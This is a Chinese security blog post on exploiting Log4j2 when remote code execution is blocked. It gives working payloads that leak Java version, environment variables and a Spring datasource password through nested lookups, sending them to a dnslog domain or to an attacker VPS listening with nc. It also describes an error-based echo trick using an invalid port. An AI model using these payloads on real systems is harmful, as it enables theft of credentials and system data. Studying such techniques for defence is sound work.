浅谈Log4j2信息泄露与不出网回显

简介: 浅谈Log4j2信息泄露与不出网回显

介绍

本文核心是探讨:由于各种情况(RASP和SecurityManager等)导致无法RCE时候如何利用Log4j2


最近在赛博回忆录看到很多大佬提出Log4j2的利用姿势,本文也是参考各位大佬(比如浅蓝大佬)的成果做个总结

昨天看到P师傅凌晨三点还在研究Log4j2在ES中的利用,P牛指出:

ElasticSearch利用Java的SecurityManager安全机制来防御文件操作和Socket操作,所以无法正常连接远程服务器

这种情况也说明了研究Log4j2非RCE利用方式的必要性


信息泄露需要两个关键点

  • 如何获取泄露的信息
  • 如何带出来泄露的信息


解决

  • 获取:利用${}和其他各种Lookup
  • 带出:利用dnslog或直接dns协议


嵌套标签

参考Payload

${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}

Log4j2是在substitute方法中递归解析${}表达式,所以可以利用这种嵌套标签,从内到外获取${}中的内容,然后分配给对应的Lookup做解析,获得信息后通过Dnslog带出


借用木头师傅的图片展示效果

cd6d2e5aee264977a048659bc3fdfbb3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


Sys与Env

之所以专门提到这两个Lookup是因为他们之中通常包含着关键信息

信息来自于System.getProperty()和System.getenv()


具体能获取哪些信息可以参考某位师傅的仓库:https://github.com/jas502n/Log4j2-CVE-2021-44228

208562c9952cad0c71c5bf6ded9986e9_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


Bundle

在浅蓝师傅的文章中提到的一种特殊Lookup

源码的BundleLookup核心内容如下

public String lookup(final LogEvent event, final String key) {
  ...
   final String bundleName = keys[0];
   final String bundleKey = keys[1];
  ...
   return ResourceBundle.getBundle(bundleName).getString(bundleKey);
}


在通常情况下这个ResourceBundle被用来做国际化,网站通常会给一段表述的内容翻译成多种语言

在SpringBoot下可能会获取到关键信息,将会比Sys和Env更严重

但这种情况略显鸡肋,需要手动排除SpringBoot自带的日志依赖并加入Log4j2的依赖(这种情况可能不多)

<dependency>
   <groupId>org.springframework.boot</groupId>
   <artifactId>spring-boot-starter</artifactId>
   <exclusions>
       <exclusion>
           <groupId>org.springframework.boot</groupId>
           <artifactId>spring-boot-starter-logging</artifactId>
       </exclusion>
   </exclusions>
</dependency>
<dependency>
   <groupId>org.springframework.boot</groupId>
   <artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>


通过${bundle:application:spring.datasource.password}可以直接拿到数据库密码

如果不需要手动排除默认日志依赖即可获取信息,那么这将会是严重的漏洞,但目前的情况不算很严重

dc856c52be0877add2af2e7091ab6624_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


嵌入标签即可带到Dnslog

ca7d0cf912a60acde2a81ac86aea4f3b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


DNS

DNS协议是属于JNDI协议的,所以我们也可以利用DNS协议来带一些信息

e1da43789cc5deb65d5f0f82dab489d0_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


使用logg.error("${jndi:dns://xxxxx:8090/${java:version}}");

在自己的VPS上nc -luvvp 8090即可收到信息(参考木头师傅图片)

920540e5193f569a32b47ae75576c821_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


不出网回显

很多群都在讨论Log4j2不出网的利用,主要参考浅蓝师傅给出的思路

这是一种报错回显,在log整体流程中有下面这样一部,具体流程参考Log4j2分析文章

在tryCallAppender方法中catch了RuntimeException

private void tryCallAppender(final LogEvent event) {
   try {
       appender.append(event);
  } catch (final RuntimeException error) {
       handleAppenderError(event, error);
  } catch (final Exception error) {
       handleAppenderError(event, new AppenderLoggingException(error));
  }
}


如果配置了ignoreExceptions选项,就会直接抛出来

private void handleAppenderError(final LogEvent event, final RuntimeException ex) {
   appender.getHandler().error(createErrorMsg("An exception occurred processing Appender "), event, ex);
   if (!appender.ignoreExceptions()) {
       throw ex;
  }
}


接下来就是制造RuntimeException

例如字符串转数字中有一个NumberFormatException异常,它父类的父类是RuntimeException

public class NumberFormatException extends IllegalArgumentException {}
public class IllegalArgumentException extends RuntimeException {}


JndiManager.lookup中name是protocal://host:port/path

其中port本该是int如果给它无法转int的字符串就会抛出这里的信息

又联想到${}是支持嵌套标签的,这里嵌入真正想要得到的结果,即可抛出执行结果


根据这个思路,成功在Tomcat项目中回显执行结果(例如这里的${java:version})

能够回显的Payload是这样:${jndi:ldap://x.x.x.x:${java:version}/xxx}

d830a84b3898c91524413a1385b769f4_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


浅蓝师傅的思路是来自于端口字符串强转int报错来回显

在log4j2.xml中开启配置:ignoreExceptions="false"

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="warn" name="MyApp" packages="">
   <Appenders>
       <Console name="STDOUT" target="SYSTEM_OUT" ignoreExceptions="false">
           <PatternLayout pattern="%m%n"/>
       </Console>
   </Appenders>
   <Loggers>
       <Root level="error">
           <AppenderRef ref="STDOUT"/>
       </Root>
   </Loggers>
</Configuration>


在实际的环境中,有开启这个配置的概率,参考apache官方的描述

大致意思是在FailoverAppender情况下必须设置该选项为false

某些情况下开发者想让错误报出来便于调试,也会故意开启这个选项

ignoreExceptions:
The default is true, causing exceptions encountered while appending events to be internally logged and then ignored. When set to false exceptions will be propagated to the caller, instead. You must set this to false when wrapping this Appender in a FailoverAppender.


再Tomcat中使用Log4j2的配置文件需要修改web.xml

<listener>
   <listener-class>org.apache.logging.log4j.web.Log4jServletContextListener</listener-class>
</listener>
<filter>
   <filter-name>log4jServletFilter</filter-name>
   <filter-class>org.apache.logging.log4j.web.Log4jServletFilter</filter-class>
</filter>
<context-param>
   <param-name>log4jConfiguration</param-name>
   <param-value>file:///YOUR_LOG4J2.XML_PATH</param-value>
</context-param>
<filter-mapping>
   <filter-name>log4jServletFilter</filter-name>
   <url-pattern>/*</url-pattern>
   <dispatcher>REQUEST</dispatcher>
   <dispatcher>FORWARD</dispatcher>
   <dispatcher>INCLUDE</dispatcher>
   <dispatcher>ERROR</dispatcher>
   <dispatcher>ASYNC</dispatcher>
</filter-mapping>


来个Servlet即可触发

@WebServlet("/test")
public class DemoServlet extends HttpServlet {
   private static final Logger logger = LogManager.getLogger();
   @Override
   protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
       logger.error("${jndi:ldap://127.0.0.1:${java:runtime}/badClassName}");
  }
}


参考

参考浅蓝师傅的文章:https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg

参考天下大木头师傅的图片:https://github.com/KpLi0rn

相关文章
|
SQL 监控 druid
Druid未授权访问 漏洞复现
Druid未授权访问 漏洞复现
21486 1
|
SQL 安全 关系型数据库
MySQL UDF提权
通过这些内容的详细介绍和实际案例分析,希望能帮助您深入理解MySQL UDF提权的机制、实现步骤及防范措施,提高系统的安全性和防护能力。
987 11
|
11月前
|
安全 网络协议 Java
Apache Log4j远程代码执行漏洞详解与利用指南
在尝试连接至192.168.0.1的9999端口时,采用base64编码可以进一步提升连接的安全性。通过将连接命令进行base64编码,然后在目标系统上执行解码操作,从而实现对9999端口的隐蔽且安全的连接。但请务必在合法且获得明确授权的前提下使用此方法,同时需严格遵循相关法规和道德规范。
|
Java Shell Windows
java Runtime.exec()执行shell/cmd命令:常见的几种陷阱与一种完善实现
java Runtime.exec()执行shell/cmd命令:常见的几种陷阱与一种完善实现
634 1
|
PHP Apache
【ThinkPHP框架教程·Part-04】URL访问模式
本章节介绍 ThinkPHP6.0 的 URL 访问模式,解析其访问方法。ThinkPHP 框架通过 URL 实现多种操作,默认为单应用模式。
【ThinkPHP框架教程·Part-04】URL访问模式
|
存储 域名解析 监控
云上攻防:任意上传、域名接管与AK/SK泄漏
随着企业上云的趋势加剧,云安全成为新的焦点。本文探讨了云计算环境中的三大安全问题:任意上传、域名接管与AK/SK泄漏,分析了这些威胁的工作原理及防护措施,强调了数据保护和访问控制的重要性。通过阿里云等平台的实际案例,提供了具体的安全防范建议。
2083 2
云上攻防:任意上传、域名接管与AK/SK泄漏
|
安全
致远OA A8 htmlofficeservlet 任意文件上传漏洞 漏洞复现
致远OA A8 htmlofficeservlet 任意文件上传漏洞 漏洞复现
3241 0
致远OA A8 htmlofficeservlet 任意文件上传漏洞 漏洞复现
|
安全 网络安全 网络协议
精选30道“渗透测试工程师”面试题
渗透测试 信息收集 网络安全 web安全
1663 3
|
存储 域名解析 前端开发
云上攻防-云服务篇&对象存储&Bucket桶&任意上传&域名接管&AccessKey泄漏
云上攻防-云服务篇&对象存储&Bucket桶&任意上传&域名接管&AccessKey泄漏
2565 8
|
XML 安全 Oracle
干货 | 最全最详细的Weblogic漏洞总结(建议收藏)
干货 | 最全最详细的Weblogic漏洞总结(建议收藏)
8695 0